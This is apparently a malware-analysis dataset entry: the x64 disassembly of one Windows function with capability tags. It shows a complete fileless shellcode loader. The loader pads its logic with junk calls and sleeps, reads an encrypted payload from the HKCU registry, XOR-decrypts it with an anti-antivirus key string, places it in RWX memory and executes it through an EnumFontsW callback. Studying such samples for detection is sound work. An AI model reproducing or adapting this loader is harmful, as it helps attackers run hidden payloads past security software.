Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function
Query or enumerate registry value

Disassembly:
push rsi
push rdi
sub rsp, 0x98
call fcn.140001740
test eax, eax
je 0x140001018
call fcn.1400016a0
call fcn.140001610
test eax, eax
je 0x140001026
call fcn.1400017e0
call fcn.1400016a0
test eax, eax
je 0x140001034
call fcn.140001740
call fcn.1400017e0
test eax, eax
je 0x140001042
call fcn.1400016a0
call fcn.1400016a0
test eax, eax
je 0x140001050
call fcn.140001610
call fcn.140001740
test eax, eax
je 0x14000105e
call fcn.1400017e0
call fcn.1400017e0
test eax, eax
je 0x14000106c
call fcn.1400016a0
call fcn.1400016a0
test eax, eax
je 0x14000107a
call fcn.140001610
call fcn.140001880
test eax, eax
je 0x140001088
call fcn.140001920
call fcn.140001920
test eax, eax
je 0x140001096
call fcn.1400019c0
call fcn.1400019c0
test eax, eax
je 0x1400010a4
call fcn.140001a60
call fcn.140001a60
test eax, eax
je 0x1400010b2
call fcn.140001880
call fcn.140001610
test eax, eax
je 0x1400010c0
call fcn.140001880
call fcn.1400016a0
test eax, eax
je 0x1400010ce
call fcn.140001920
call fcn.140001740
test eax, eax
je 0x1400010dc
call fcn.1400019c0
call fcn.1400017e0
test eax, eax
je 0x1400010ea
call fcn.140001a60
call fcn.1400017e0
test eax, eax
je 0x1400010f8
call fcn.1400016a0
call fcn.1400016a0
test eax, eax
je 0x140001106
call fcn.140001740
call fcn.140001740
test eax, eax
je 0x140001114
call fcn.140001610
call fcn.140001610
test eax, eax
je 0x140001122
call fcn.1400016a0
call fcn.140001740
test eax, eax
je 0x140001130
call fcn.1400016a0
call fcn.140001610
test eax, eax
je 0x14000113e
call fcn.1400017e0
call fcn.1400016a0
test eax, eax
je 0x14000114c
call fcn.140001740
call fcn.1400017e0
test eax, eax
je 0x14000115a
call fcn.1400016a0
call fcn.140001880
test eax, eax
je 0x140001168
call fcn.140001920
call fcn.140001920
test eax, eax
je 0x140001176
call fcn.1400019c0
call fcn.1400019c0
test eax, eax
je 0x140001184
call fcn.140001a60
call fcn.140001a60
test eax, eax
je 0x140001192
call fcn.140001880
call fcn.1400016a0
test eax, eax
je 0x1400011a0
call fcn.140001920
call fcn.140001740
test eax, eax
je 0x1400011ae
call fcn.1400019c0
call fcn.1400017e0
test eax, eax
je 0x1400011bc
call fcn.140001a60
call fcn.140001880
test eax, eax
je 0x1400011ca
call fcn.140001610
mov dword [rsp + 0x54], 0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, [0x1400152d0]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rsp + 0x40], 0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x1400152e0]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [rsp + 0x40]
mov ecx, eax
call fcn.140002394
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x58], rax
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x1400152e8]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [rsp + 0x40]
mov ecx, eax
call fcn.140002394
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 0
jmp 0x1400012cb
mov rax, qword [rsp + 0x68]
inc rax
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x40]
cmp qword [rsp + 0x68], rax
jae 0x1400012fd
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
add rdx, rcx
mov rcx, rdx
movzx ecx, byte [rcx]
mov byte [rax], cl
jmp 0x1400012be
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x54], eax
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, str.huorongqnmlb
mov qword [rsp + 0x30], rax
xor eax, eax
mov rcx, 0xffffffffffffffff
mov rdi, qword [rsp + 0x30]
repne scasb al, byte [rdi]
not rcx
dec rcx
mov rax, rcx
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x70], 0
mov dword [rsp + 0x74], 0
jmp 0x140001360
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x54]
cmp dword [rsp + 0x70], eax
jae 0x1400013dc
movsxd rax, dword [rsp + 0x70]
mov qword [rsp + 0x88], rax
movsxd rcx, dword [rsp + 0x74]
mov rdx, qword [rsp + 0x30]
movsx ecx, byte [rdx + rcx]
mov eax, ecx
cdq
mov ecx, 0x6d9
idiv ecx
mov eax, edx
add eax, 0x4f
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x88]
movzx ecx, byte [rcx + rdx]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x70]
mov rdx, qword [rsp + 0x60]
mov byte [rdx + rcx], al
mov eax, dword [rsp + 0x74]
inc eax
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x70]
cdq
idiv dword [rsp + 0x50]
mov eax, edx
test eax, eax
jne 0x1400013d7
mov dword [rsp + 0x74], 0
jmp 0x140001356
call fcn.140001610
test eax, eax
je 0x1400013ea
call fcn.140001740
call fcn.1400017e0
test eax, eax
je 0x1400013f8
call fcn.140001610
call fcn.140001610
test eax, eax
je 0x140001406
call fcn.1400017e0
call fcn.140001740
test eax, eax
je 0x140001414
call fcn.1400017e0
call fcn.1400017e0
test eax, eax
je 0x140001422
call fcn.1400016a0
call fcn.1400016a0
test eax, eax
je 0x140001430
call fcn.140001740
call fcn.140001740
test eax, eax
je 0x14000143e
call fcn.140001610
call fcn.140001610
test eax, eax
je 0x14000144c
call fcn.1400016a0
call fcn.140001880
test eax, eax
je 0x14000145a
call fcn.140001920
call fcn.140001920
test eax, eax
je 0x140001468
call fcn.1400019c0
call fcn.1400019c0
test eax, eax
je 0x140001476
call fcn.140001a60
call fcn.140001a60
test eax, eax
je 0x140001484
call fcn.140001880
call fcn.1400016a0
test eax, eax
je 0x140001492
call fcn.140001920
call fcn.140001740
test eax, eax
je 0x1400014a0
call fcn.1400019c0
call fcn.1400017e0
test eax, eax
je 0x1400014ae
call fcn.140001a60
call fcn.140001880
test eax, eax
je 0x1400014bc
call fcn.140001610
call fcn.1400016a0
test eax, eax
je 0x1400014ca
call fcn.140001610
call fcn.140001740
test eax, eax
je 0x1400014d8
call fcn.1400017e0
call fcn.1400017e0
test eax, eax
je 0x1400014e6
call fcn.1400016a0
call fcn.1400016a0
test eax, eax
je 0x1400014f4
call fcn.140001610
call fcn.140001610
test eax, eax
je 0x140001502
call fcn.140001740
call fcn.1400017e0
test eax, eax
je 0x140001510
call fcn.140001610
call fcn.140001610
test eax, eax
je 0x14000151e
call fcn.1400017e0
call fcn.140001740
test eax, eax
je 0x14000152c
call fcn.1400017e0
call fcn.140001880
test eax, eax
je 0x14000153a
call fcn.140001920
call fcn.140001920
test eax, eax
je 0x140001548
call fcn.1400019c0
call fcn.1400019c0
test eax, eax
je 0x140001556
call fcn.140001a60
call fcn.140001a60
test eax, eax
je 0x140001564
call fcn.140001880
call fcn.140001610
test eax, eax
je 0x140001572
call fcn.1400019c0
call fcn.1400016a0
test eax, eax
je 0x140001580
call fcn.140001a60
call fcn.140001740
test eax, eax
je 0x14000158e
call fcn.140001880
call fcn.1400017e0
test eax, eax
je 0x14000159c
call fcn.140001920
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rsp + 0x54]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x48], rax
mov eax, dword [rsp + 0x54]
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x60]
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
xor r9d, r9d
mov r8, qword [rsp + 0x48]
xor edx, edx
mov rcx, rax
call qword [sym.imp.GDI32.dll_EnumFontsW]
add rsp, 0x98
pop rdi
pop rsi
ret